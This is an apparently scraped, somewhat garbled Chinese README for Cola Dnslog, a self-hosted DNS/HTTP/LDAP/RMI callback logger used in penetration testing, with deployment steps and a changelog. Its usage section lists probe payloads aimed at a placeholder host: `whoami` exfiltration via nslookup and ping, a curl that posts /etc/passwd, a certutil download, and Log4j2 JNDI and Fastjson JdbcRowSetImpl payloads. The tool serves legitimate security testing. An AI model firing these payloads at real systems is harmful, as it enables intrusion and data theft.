--AbelChe
完全 开源支持 dns http ldap rmi等 协议提供 API调用方式 便 于与其他工具 结合支持 钉钉机 器 人 、Bark等 提 醒支持 docker一 键部署
dns
http
ldap
rmi
webui
vue-element-admin
fastapi
sqlite
log4j2
fastjson
ruoyi
Spring
RCE
Blind SQL
Bland XXE
Dingtalk Robot
Bark
API
ldaplog
rmilog
Docker
假 设你购买的 域 名 为example.com
你的vps ip为
1.1.1.1
请自
以godaddy为例
配置 域 名 解析 处右上角 三 个点,点 击Host Names
修 改 或 新 增 主 机 名 如下图所示 ,ip地 址 填 写 你的vps地 址 即 可
回 到 dns管理 ,将 域 名 服 务器修 改 为ns1.example.com
和 ns2.example.com
因 为一些国内网络众所周知的原因,大 多数 同学 使用 国内 VPS都会 卡在前 端 npm构建的 时候,目前 暂未找到更 好 的 解 决方案 ,建 议使用 国外 或 者 网络畅通的 VPS搭建。欢迎
大家 提 issues!
下 载源码
git clone https://github.com/Abelche/cola_dnslog.git
cd cola_dnslog
修 改 docker-compose.yml中 environment变量
...
server:
...
environment:
DNS_DOMAIN: example.com # 自己 的 域 名
NS1_DOMAIN: ns1.example.com # ns1绑定
NS2_DOMAIN: ns2.example.com # ns2绑定
SERVER_IP: 1.1.1.1 # vps ip
HTTP_PORT: 80 # httplog服 务端口
HTTP_RESPONSE_SERVER_VERSION: nginx # httplog返 回 头的服 务端信 息 Server: nginx
LDAP_PORT: 1389 # ldaplog服 务端口
RMI_PORT: 1099 # rmilog服 务端口
...
front:
...
environment:
API_BASE_URL: 'http://1.1.1.1:28001' # http://vpsip:28001 / http://example.com:28001
...
- 启动
docker-compose up -d
- 启动
之 后 查看docker日 志 或 者 查看info.txt获取账号信 息
server
端 程 序 运行会 在 程 序 根 目 录创建 一 个info.txt用 于记录初始 化 的 账号信 息
docker-compose logs
docker exec -it <container_id> cat /coladnslog/info.txt
如果
需要 自 定 义端口 ,请修改 docker-compose.yml
的 端 口 映 射 ports
即 可
git clone https://github.com/Abelche/cola_dnslog.git
cd cola_dnslog
docker build -t coladnslog_server -f Dockerfile_server .
docker run -itd \
-e DNS_DOMAIN=example.com \
-e NS1_DOMAIN=ns1.example.com \
-e NS2_DOMAIN=ns2.example.com \
-e SERVER_IP=1.1.1.1 \
-e HTTP_PORT=80 \
-e HTTP_RESPONSE_SERVER_VERSION=nginx \
-e LDAP_PORT=1389 \
-e RMI_PORT=1099 \
--net=host \
--name ColaDnslog_server coladnslog_server
git clone https://github.com/Abelche/cola_dnslog.git
cd cola_dnslog
sudo docker build --build-arg VERSION=v1.3.2 -t coladnslog_front -f Dockerfile_front .
sudo docker run -itd \
-p 18080:80 \
-e "API_BASE_URL=http://1.2.3.4:28001" \
--name ColaDnslog_front coladnslog_front
git clone https://github.com/Abelche/cola_dnslog.git
我 习惯于将服 务用tmux
放 到 后 台 运行
cd cola_dnslog
pip install -r requirements.txt
config.yaml
DNS_DOMAIN
NS1_DOMAIN
NS2_DOMAIN
SERVER_IP
HTTP_RESPONSE_SERVER_VERSION
伪造http
global:
DB_FILENAME: sqlite.db
logserver:
DNS_DOMAIN: example.com
NS1_DOMAIN: ns1.example.com
NS2_DOMAIN: ns2.example.com
SERVER_IP: 1.1.1.1
DNS_PORT: 53
HTTP_HOST: 0.0.0.0
HTTP_PORT: 80
HTTP_RESPONSE_SERVER_VERSION: nginx
LDAP_HOST: 0.0.0.0
LDAP_PORT: 1389
RMI_HOST: 0.0.0.0
RMI_PORT: 1099
webserver:
HOST: 0.0.0.0
PORT: 28001
PASSWORD_SALT: 随 便 一长串字符串,如:cuau89j2iifdas8
启动webserber
chmod +x start_webserver
./start_webserver
chmod +x start_logserver
sudo ./start_logserver
现在.env.production
cd src/front
vim .env.production
# just a flag
ENV = 'production'
# base api
VUE_APP_BASE_API = 'http://1.1.1.1:28001'
TARGET_API = 'http://1.1.1.1:28001'
cd src/front
npm install
npm run build:prod
cd dist
python3 -m http.server 18001
这时,访问http://1.1.1.1:18001应该
玩得开心!
coladnslog
并获
进入webui,
Finb/bark-server: Backend of Bark (github.com)
example.com
1.1.1.1
,并且qrq
nsloopup `whoami`.qrq.example.com
ping `whoami`.qrq.example.com
curl 1.1.1.1/qrq/some/info
curl -d @/etc/passwd 1.1.1.1/qrq/postdata
certutil -urlcache -split -f http://1.1.1.1/x x
log4j2 fastjson
ldapqrq
xxxxqrq
qrq
xxx/qrq
${jndi:ldap://1.1.1.1:1389/ldapqrq}
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://1.1.1.1:1389/ldapqrq", "autoCommit":true}
${jndi:rmi://1.1.1.1:1099/rmiqrq}
{ "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://1.1.1.1:1099/rmiqrq", "autoCommit":true } }
- 2023-02-03 v1.3.2
修 改 默 认解析 记录,domain[.]com和 *[.]domain[.]com的 A记录查询指向 127.0.0.1,增加 md5(serverip)
[.]admin[.]domain[.]com作 为域名 访问的 入口 修 复问题:logserver报错崩 溃Segmentation fault
issues19修 改 默 认的docker前 端 部署 方式 (无需用 户编译)增加 清 除 日 志功 能
- 2022-08-12 v1.3.1
修 复docker部署 方式 dns端 口 冲突问题
- 2022-08-12 v1.3.0
- 创建api
文 档https://abelche.github.io/cola_dnslog/ 更新 docker部署 方式 修 复部分 显示问题
- 创建api
- 2022-08-09 v1.2.2 v1.2.3
更新 readme修 复文件名 拼写错误
- 2022-08-03 v1.2.1
更新 readme
- 2022-08-02 v1.2.0
增加 bark提 醒功能 修 改 logserver端 http的 返 回 为1x1的 gif格式 图片增加 http返 回 包 里 Server
字 段 的 伪造功 能 修 复前端 profile页面开关bug
- 2022-08-01 v1.1.0
增加 重 新 生成 token、修 改 密 码功能 - 优化
前 端 展示 效果 ,优化渲染速度 增加 id排 序 功 能 首 页Usage部分 根 据 服 务端自 动生成 增加 钉钉机 器 人 修 复rmi协议解析 bug
- 2022-07-30 v1.0.0
- cola_dnslog发布 v1.0.0
- 联动钉钉【2022-07-31】
- 联动bark【2022-08-02】
-
添加 api文 档【2022-08-12】 -
增加 ip属地 功 能 - docker
一 键部署 【2022-08-12】 - 其他协议
-
增加 mysql等 数 据 库的支持
Cola Dnslog 现已
Weik1 🐡 |
- https://panjiachen.github.io/vue-element-admin-site/zh/
- https://github.com/NickstaDB/SerializationDumper
- https://docs.oracle.com/javase/7/docs/technotes/guides/rmi/faq.html#netcontact
- http://www.hackdig.com/02/hack-596460.htm
太 多 了 没 法 一 一 列 出 ......................
师傅们可以加RG9nZ3lDaGVuZwo=
给他买杯咖啡,让他 |
也可以加 |
---|